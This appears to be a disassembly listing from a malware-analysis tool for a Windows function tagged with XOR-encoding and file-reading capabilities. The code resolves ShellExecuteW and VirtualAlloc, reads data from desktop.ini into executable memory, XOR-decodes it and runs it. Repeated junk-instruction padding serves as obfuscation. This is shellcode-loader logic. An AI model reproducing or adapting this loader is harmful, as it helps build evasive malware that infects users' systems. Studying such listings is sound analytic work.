Function at 0x1000114e
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.ShellExecuteW
push str.shell32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
push eax
cmp dh, 0xe5
pop eax
sub ebp, 0x6bcc0a
add ebp, 0xffff586b
lea ebp, [ebp + 0x6c739f]
nop
add bl, 0x3a
add bl, 0xd1
sub bl, 0x7d
add bl, 0x72
push eax
add ebp, ebx
sub ebp, ebx
pop eax
cmp dh, dl
nop
add ah, 0x64
sub ah, 0x63
dec ah
push eax
rol ecx, 0x24
ror ecx, 0x24
pop eax
push ebx
lea ebx, [ebp + ebp]
pop ebx
nop
add cl, bl
sub cl, bl
push eax
cmp bh, 0xb9
pop eax
add edi, ecx
sub edi, ecx
nop
sub dl, cl
add dl, cl
push eax
test bp, 0x957c
pop eax
test si, cx
nop
rol ax, 0x11
ror ax, 0x11
push eax
lea ecx, [ecx - 0x8b]
lea ecx, [ecx + 0x8b]
pop eax
add ebx, edx
sub ebx, edx
nop
xor dh, 0x24
xor dh, 0x2f
xor dh, 0x98
xor dh, 0x93
push eax
add si, di
sub si, di
pop eax
btc esi, 0x18
btc esi, 0x18
nop
cmp bh, dl
push eax
test bl, 0x50
pop eax
push eax
lea eax, [eax + eax*8]
pop eax
nop
push 1
xor eax, eax
push eax
push eax
push 0x10002084
push eax
push eax
call dword [ebp - 8]
push eax
cmp dh, 0xe5
pop eax
sub ebp, 0x6bcc0a
add ebp, 0xffff586b
lea ebp, [ebp + 0x6c739f]
nop
add bl, 0x3a
add bl, 0xd1
sub bl, 0x7d
add bl, 0x72
push eax
add ebp, ebx
sub ebp, ebx
pop eax
cmp dh, dl
nop
add ah, 0x64
sub ah, 0x63
dec ah
push eax
rol ecx, 0x24
ror ecx, 0x24
pop eax
push ebx
lea ebx, [ebp + ebp]
pop ebx
nop
add cl, bl
sub cl, bl
push eax
cmp bh, 0xb9
pop eax
add edi, ecx
sub edi, ecx
nop
sub dl, cl
add dl, cl
push eax
test bp, 0x957c
pop eax
test si, cx
nop
rol ax, 0x11
ror ax, 0x11
push eax
lea ecx, [ecx - 0x8b]
lea ecx, [ecx + 0x8b]
pop eax
add ebx, edx
sub ebx, edx
nop
xor dh, 0x24
xor dh, 0x2f
xor dh, 0x98
xor dh, 0x93
push eax
add si, di
sub si, di
pop eax
btc esi, 0x18
btc esi, 0x18
nop
cmp bh, dl
push eax
test bl, 0x50
pop eax
push eax
lea eax, [eax + eax*8]
pop eax
nop
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000303c], eax
push eax
cmp dh, 0xe5
pop eax
sub ebp, 0x6bcc0a
add ebp, 0xffff586b
lea ebp, [ebp + 0x6c739f]
nop
add bl, 0x3a
add bl, 0xd1
sub bl, 0x7d
add bl, 0x72
push eax
add ebp, ebx
sub ebp, ebx
pop eax
cmp dh, dl
nop
add ah, 0x64
sub ah, 0x63
dec ah
push eax
rol ecx, 0x24
ror ecx, 0x24
pop eax
push ebx
lea ebx, [ebp + ebp]
pop ebx
nop
add cl, bl
sub cl, bl
push eax
cmp bh, 0xb9
pop eax
add edi, ecx
sub edi, ecx
nop
sub dl, cl
add dl, cl
push eax
test bp, 0x957c
pop eax
test si, cx
nop
rol ax, 0x11
ror ax, 0x11
push eax
lea ecx, [ecx - 0x8b]
lea ecx, [ecx + 0x8b]
pop eax
add ebx, edx
sub ebx, edx
nop
xor dh, 0x24
xor dh, 0x2f
xor dh, 0x98
xor dh, 0x93
push eax
add si, di
sub si, di
pop eax
btc esi, 0x18
btc esi, 0x18
nop
cmp bh, dl
push eax
test bl, 0x50
pop eax
push eax
lea eax, [eax + eax*8]
pop eax
nop
cmp dword [0x1000303c], 0xffffffff
je 0x10001578
push 0x40
mov eax, pe_overlay
push eax
push eax
push 0
call dword [ebp - 0xc]
mov dword [0x10003038], eax
push eax
cmp dh, 0xe5
pop eax
sub ebp, 0x6bcc0a
add ebp, 0xffff586b
lea ebp, [ebp + 0x6c739f]
nop
add bl, 0x3a
add bl, 0xd1
sub bl, 0x7d
add bl, 0x72
push eax
add ebp, ebx
sub ebp, ebx
pop eax
cmp dh, dl
nop
add ah, 0x64
sub ah, 0x63
dec ah
push eax
rol ecx, 0x24
ror ecx, 0x24
pop eax
push ebx
lea ebx, [ebp + ebp]
pop ebx
nop
add cl, bl
sub cl, bl
push eax
cmp bh, 0xb9
pop eax
add edi, ecx
sub edi, ecx
nop
sub dl, cl
add dl, cl
push eax
test bp, 0x957c
pop eax
test si, cx
nop
rol ax, 0x11
ror ax, 0x11
push eax
lea ecx, [ecx - 0x8b]
lea ecx, [ecx + 0x8b]
pop eax
add ebx, edx
sub ebx, edx
nop
xor dh, 0x24
xor dh, 0x2f
xor dh, 0x98
xor dh, 0x93
push eax
add si, di
sub si, di
pop eax
btc esi, 0x18
btc esi, 0x18
nop
cmp bh, dl
push eax
test bl, 0x50
pop eax
push eax
lea eax, [eax + eax*8]
pop eax
nop
push 0
push 0x10003040
push pe_overlay
push dword [0x10003038]
push dword [0x1000303c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003038]
mov al, byte [eax]
mov byte [ebp - 1], al
push eax
cmp dh, 0xe5
pop eax
sub ebp, 0x6bcc0a
add ebp, 0xffff586b
lea ebp, [ebp + 0x6c739f]
nop
add bl, 0x3a
add bl, 0xd1
sub bl, 0x7d
add bl, 0x72
push eax
add ebp, ebx
sub ebp, ebx
pop eax
cmp dh, dl
nop
add ah, 0x64
sub ah, 0x63
dec ah
push eax
rol ecx, 0x24
ror ecx, 0x24
pop eax
push ebx
lea ebx, [ebp + ebp]
pop ebx
nop
add cl, bl
sub cl, bl
push eax
cmp bh, 0xb9
pop eax
add edi, ecx
sub edi, ecx
nop
sub dl, cl
add dl, cl
push eax
test bp, 0x957c
pop eax
test si, cx
nop
rol ax, 0x11
ror ax, 0x11
push eax
lea ecx, [ecx - 0x8b]
lea ecx, [ecx + 0x8b]
pop eax
add ebx, edx
sub ebx, edx
nop
xor dh, 0x24
xor dh, 0x2f
xor dh, 0x98
xor dh, 0x93
push eax
add si, di
sub si, di
pop eax
btc esi, 0x18
btc esi, 0x18
nop
cmp bh, dl
push eax
test bl, 0x50
pop eax
push eax
lea eax, [eax + eax*8]
pop eax
nop
movzx eax, byte [ebp - 1]
mov esi, dword [0x10003038]
xor ecx, ecx
xor eax, 0x4e
cmp dword [0x10003040], ecx
jbe 0x10001576
mov dl, byte [esi + ecx]
xor dl, al
add dl, 0x42
mov byte [esi + ecx], dl
inc ecx
cmp ecx, dword [0x10003040]
jb 0x10001562
call esi
pop edi
pop esi
pop ebx
leave
ret 0x10